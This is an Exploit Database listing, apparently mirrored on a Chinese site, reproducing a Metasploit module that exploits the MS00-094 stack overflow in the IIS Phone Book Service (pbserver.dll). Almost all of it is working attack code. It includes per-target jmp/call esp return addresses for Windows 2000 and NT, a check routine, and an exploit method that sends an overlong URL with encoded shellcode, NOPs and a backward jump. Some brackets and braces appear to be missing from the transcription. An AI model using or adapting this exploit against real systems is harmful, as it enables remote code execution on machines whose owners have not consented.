Microsoft IIS – Phone Book Service Overflow (MS00-094) (Metasploit)

Exploit Database
148 阅读

作者： Metasploit

日期： 2010-04-30
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16357/

# $Id: ms00_094_pbserver.rb 9179 2010-04-30 08:40:19Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft IIS Phone Book Service Overflow',

'Description'=> %q{

This is an exploit for the Phone Book Service /pbserver/pbserver.dll

described in MS00-094. By sending an overly long URL argument

for phone book updates, it is possible to overwrite the stack. This

module has only been tested against Windows 2000 SP1.

'Author' => [ 'patrick' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9179 $',

'References' =>

[

[ 'CVE', '2000-1089' ],

[ 'OSVDB', '463' ],

[ 'BID', '2048' ],

[ 'MSB', 'MS00-094' ],

'Privileged' => false,

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload'=>

{

'Space'=> 896,

'BadChars' => "\x00\x0a\x0d\x20%&=?",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll

['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll

['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll

'DisclosureDate' => 'Dec 04 2000',

'DefaultTarget' => 0))

register_options(

[

OptString.new('URL', [ true,"The path to pbserver.dll", "/pbserver/pbserver.dll" ]),

], self.class)

end

def check

print_status("Requesting the vulnerable ISAPI path...")

res = send_request_raw({

'uri' => datastore['URL']

}, 5)

if (res and res.code == 400)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

print_status("Sending overflow...")

res = send_request_raw({

'uri' => datastore['URL'] + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912)

}, 5)

handler

end